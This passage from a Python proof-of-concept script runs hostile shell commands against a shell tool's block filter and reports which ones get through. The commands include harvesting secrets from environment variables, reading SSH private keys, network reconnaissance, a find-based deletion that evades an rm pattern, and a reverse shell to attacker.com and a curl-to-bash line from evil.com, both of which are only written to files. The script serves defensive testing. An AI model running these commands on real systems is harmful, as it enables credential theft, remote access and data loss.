"env | grep -iE '(key|secret|password|token|api)' || echo 'checked env'",
|
||||
"Extract sensitive environment variables"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 6: Network reconnaissance
|
||||
print("[TEST 6] Network Reconnaissance")
|
||||
r = await self.test_command(
|
||||
"network_recon",
|
||||
"cat /etc/hosts && ip addr 2>/dev/null || ifconfig 2>/dev/null || echo 'network checked'",
|
||||
"Gather network information"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 7: Process listing (information disclosure)
|
||||
print("[TEST 7] Process Information Disclosure")
|
||||
r = await self.test_command(
|
||||
"process_list",
|
||||
"ps aux | head -20",
|
||||
"List running processes"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 8: SSH key exfiltration attempt
|
||||
print("[TEST 8] SSH Key Exfiltration Attempt")
|
||||
r = await self.test_command(
|
||||
"ssh_keys",
|
||||
"cat ~/.ssh/id_rsa 2>/dev/null || cat ~/.ssh/id_ed25519 2>/dev/null || echo 'no ssh keys found'",
|
||||
"Attempt to read SSH private keys"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 9: Alternative rm commands (bypassing rm -rf / pattern)
|
||||
print("[TEST 9] Alternative Deletion Commands")
|
||||
r = await self.test_command(
|
||||
"alt_delete",
|
||||
"find /tmp/poc_test_dir -delete 2>/dev/null; echo 'find -delete executed'",
|
||||
"Delete files using find instead of rm"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 10: Reverse shell setup (command only, won't connect)
|
||||
print("[TEST 10] Reverse Shell Command Construction")
|
||||
r = await self.test_command(
|
||||
"reverse_shell_construct",
|
||||
"echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/poc_revshell.txt && cat /tmp/poc_revshell.txt",
|
||||
"Write reverse shell command to file"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 11: Resource exhaustion (memory)
|
||||
print("[TEST 11] Memory Exhaustion Attempt (limited)")
|
||||
r = await self.test_command(
|
||||
"memory_exhaust",
|
||||
"head -c 1000000 /dev/zero | xxd | head -100",
|
||||
"Generate large output to consume memory"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 12: CPU exhaustion (will timeout but demonstrates the risk)
|
||||
print("[TEST 12] CPU Exhaustion Attempt (should timeout)")
|
||||
r = await self.test_command(
|
||||
"cpu_exhaust",
|
||||
"timeout 2 yes > /dev/null || echo 'timeout worked'",
|
||||
"CPU-intensive operation"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 13: Pipe to interpreter bypass
|
||||
print("[TEST 13] Curl to Interpreter Pattern")
|
||||
r = await self.test_command(
|
||||
"curl_pipe_bash",
|
||||
"echo 'curl http://evil.com/script.sh | bash' > /tmp/poc_curl_bash.txt && echo 'command written'",
|
||||
"Demonstrate curl|bash pattern is not blocked"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 14: Python reverse shell
|
||||
print("[TEST 14] Python Code Execution")
|
||||
r = await self.test_command(
|
||||
"python_exec",
|
||||
"python3 -c 'import os; print(os.popen(\"id\").read())'",
|
||||
"Execute commands via Python"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 15: Reading config files
|
||||
print("[TEST 15] Configuration File Access")
|
||||
r = await self.test_command(
|
||||
"config_access",
|
||||
"cat /app/poc/config/config.json 2>/dev/null || echo 'no config'",
|
||||
"Read application configuration with potential secrets"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
self._print_summary()
|
||||
return self.results
|
||||
|
||||
def _print_result(self, result: dict):
|
||||
"""Print a single test result."""
|
||||
status = "🛡️ BLOCKED" if result["blocked"] else "⚠️ EXECUTED"
|
||||
print(f" Status: {status}")
|
||||
print(f" Risk: {result['expected_risk']}")
|
||||
if result["output"]:
|
||||
output_preview = result["output"][:200].replace('\n', '\\n')
|
||||
print(f" Output: {output_preview}...")
|
||||
if result["error"]:
|
||||
print(f" Error: {result['error'][:100]}")
|
||||
print()
|
||||
|
||||
def _print_summary(self):
|
||||
"""Print test summary."""
|
||||
print("=" * 60)
|
||||
print("SUMMARY")
|
||||
print("=" * 60)
|
||||
|
||||
blocked = sum(1 for r in self.results if r["blocked"])
|
||||
executed = sum(1 for r in self.results if not r["blocked"])
|
||||
|
||||
print(f"Total tests: {len(self.results)}")
|
||||
print(f"Blocked: {blocked}")
|
||||
print(f"Executed (potential vulnerabilities): {executed}")
|
||||
print()
|
||||
|
||||
if executed > 0:
|
||||
print("⚠️ VULNERABLE COMMANDS:")
|
||||
for r in self.results:
|
||||
if not r["blocked"]:
|
||||
print(f" - {r['name']}: {r['command'][:50]}...")
|
||||
|
||||
return {
|
||||
"total": len(self.results),
|
||||
"blocked": blocked,
|
||||
"executed": executed,
|
||||
"vulnerability_confirmed": executed > 0
|
||||
}
|
||||
|
||||
|
||||
async def main():
|
||||
poc = ShellInjectionPOC()
|
||||
results = await poc.run_all_tests()
|
||||
|
||||
# Write results to file
|
||||
import json
|
||||
results_path = "/results/shell_injection_results.json" if os.path.isdir("/results") else "shell_injection_results.json"
|
||||
with open(results_path, "w") as f:
|
||||
json.dump(results, f, indent=2)
|
||||
print(f"\nResults written to: {results_path}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
Reference in New Issue
Block a user